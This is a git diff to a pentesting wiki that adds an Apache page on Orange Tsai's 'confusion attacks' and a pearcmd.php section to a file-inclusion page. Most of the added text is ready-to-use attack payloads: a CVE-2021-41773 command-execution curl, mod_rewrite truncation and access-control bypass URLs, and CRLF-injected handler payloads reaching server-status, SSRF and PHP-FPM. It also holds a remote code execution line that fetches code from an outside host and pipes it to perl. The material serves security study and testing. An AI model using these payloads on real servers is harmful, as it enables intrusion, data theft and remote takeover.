GITBOOK-4382: No subject

network-services-pentesting/pentesting-web/apache.md

@@ -1,8 +1,8 @@
-
+# Apache
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,8 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-
-# Executable PHP extensions
+## Executable PHP extensions
 
 Check which extensions is executing the Apache server. To search them you can execute:
 
@@ -33,19 +32,267 @@ Also, some places where you can find this configuration is:
 /etc/apache2/mods-enabled/php7.3.conf
 ```
 
-# CVE-2021-41773
+## CVE-2021-41773
 
+{% code overflow="wrap" %}
 ```bash
 curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
+{% endcode %}
+
+## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
+
+These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
+
+### Filename Confusion
+
+#### Truncation
+
+The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
+
+* **Path Truncation**
+
+It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
+
+```bash
+RewriteEngine On
+RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
+
+# Expected
+curl http://server/user/orange
+# the output of file `/var/user/orange/profile.yml`
+
+# Attack
+curl http://server/user/orange%2Fsecret.yml%3F
+# the output of file `/var/user/orange/secret.yml`
+```
+
+* **Mislead RewriteFlag Assignment**
+
+In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it:
+
+```bash
+RewriteEngine On
+RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
+
+# Attacker uploads a gif file with some php code
+curl http://server/upload/1.gif
+# GIF89a <?=`id`;>
+
+# Make the server execute the php code
+curl http://server/upload/1.gif%3fooo.php
+# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
+```
+
+#### **ACL Bypass**
+
+It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like:
+
+```xml
+<Files "admin.php">
+    AuthType Basic 
+    AuthName "Admin Panel"
+    AuthUserFile "/etc/apache2/.htpasswd"
+    Require valid-user
+</Files>
+```
+
+This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it.
+
+### DocumentRoot Confusion
+
+```bash
+DocumentRoot /var/www/html
+RewriteRule  ^/html/(.*)$   /$1.html
+```
+
+A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
+
+#### **Server-Side Source Code Disclosure**
+
+* **Disclose CGI Source Code**
+
+Just adding a %3F at the end is enough to leak the source code of a cgi module:
+
+```bash
+curl http://server/cgi-bin/download.cgi
+ # the processed result from download.cgi
+curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
+ # #!/usr/bin/perl
+ # use CGI;
+ # ...
+ # # the source code of download.cgi
+```
+
+* **Disclose PHP Source Code**
+
+If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:
+
+```bash
+# Leak the config.php file of the www.local domain from the static.local domain
+curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
+ # the source code of config.php
+```
+
+#### **Local Gadgets Manipulation**
+
+The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
+
+```xml
+<Directory />
+    AllowOverride None
+    Require all denied
+</Directory>
+```
+
+However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operating systems by default allow `/usr/share`:
+
+```xml
+<Directory /usr/share>
+    AllowOverride None
+    Require all granted
+</Directory>
+```
+
+Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
+
+**Local Gadget to Information Disclosure**
+
+* **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
+* Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
+  * **/usr/share/nginx/html/**
+  * **/usr/share/jetty9/etc/**
+  * **/usr/share/jetty9/webapps/**
+
+**Local Gadget to XSS**
+
+* On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
+
+**Local Gadget to LFI**
+
+* If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
+  * **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
+  * **/usr/share/javascript/jquery-jfeed/proxy.php**
+  * **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
+
+**Local Gadget to SSRF**
+
+* Utilizing **MagpieRSS's magpie\_debug.php** at **/usr/share/php/magpierss/scripts/magpie\_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
+
+**Local Gadget to RCE**
+
+* Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
+
+#### **Jailbreak from Local Gadgets**
+
+It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
+
+* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
+* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
+* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
+* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
+* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
+
+Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
+
+### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
+
+This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
+
+Moreover,  in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
+
+#### **Overwrite Handler to Disclose PHP Source Code**
+
+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
+Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
+
+#### **Overwrite Handler to XXXX**
+
+TODO: Orange hasn't disclose this vulnerability yet
+
+### **Invoke Arbitrary Handlers**
+
+If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**.  However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
+
+According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
+
+> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
+
+Therefore, to perform this attack is needed one of the following vulns:
+
+* CRLF Injection in the CGI response headers
+* SSRF with complete control of the response headers
+
+#### **Arbitrary Handler to Information Disclosure**
+
+For example `/server-status` should only be accessible locally:
+
+```xml
+<Location /server-status>
+    SetHandler server-status
+    Require local
+</Location>
+```
+
+It's possible to access it setting the `Content-Type` to `server-status` and the Location header starting with `/`
+
+```
+http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
+Location:/ooo %0d%0a
+Content-Type:server-status %0d%0a
+%0d%0a
+```
+
+#### **Arbitrary Handler to Full SSRF**
+
+Redirecting to `mod_proxy` to access any protocol on any URL:
+
+```
+http://server/cgi-bin/redir.cgi?r=http://%0d%0a
+Location:/ooo %0d%0a
+Content-Type:proxy:
+http://example.com/%3F
+ %0d%0a
+%0d%0a
+```
+
+However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints.
+
+#### **Arbitrary Handler to Access Local Unix Domain Socket**
+
+Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`:
+
+```
+http://server/cgi-bin/redir.cgi?r=http://%0d%0a
+Location:/ooo %0d%0a
+Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
+%0d%0a
+```
 
+#### **Arbitrary Handler to RCE**
 
+The official [PHP Docker](https://hub.docker.com/\_/php) image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE:
+
+```
+http://server/cgi-bin/redir.cgi?r=http://%0d%0a
+Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
+orange.tw/x|perl
+) %2b alltests.php %0d%0a
+Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
+%0d%0a
+```
+
+Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon\_xg) for the details of this technique.
+
+## References
+
+* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -57,5 +304,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 
 </details>
 {% endhint %}
-
-

pentesting-web/file-inclusion/README.md

@@ -1,8 +1,8 @@
 # File Inclusion/Path traversal
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -681,6 +681,27 @@ If you found a **Local File Inclusion** and and the server is running in **Windo
 [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
 {% endcontent-ref %}
 
+### Via `pearcmd.php` + URL args
+
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
+
+The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
+
+{% code overflow="wrap" %}
+```bash
+GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
+```
+{% endcode %}
+
+The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+
+```
+http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
+Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
+Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
+%0d%0a
+```
+
 ### Via phpinfo() (file\_uploads = on)
 
 If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:
@@ -737,8 +758,8 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>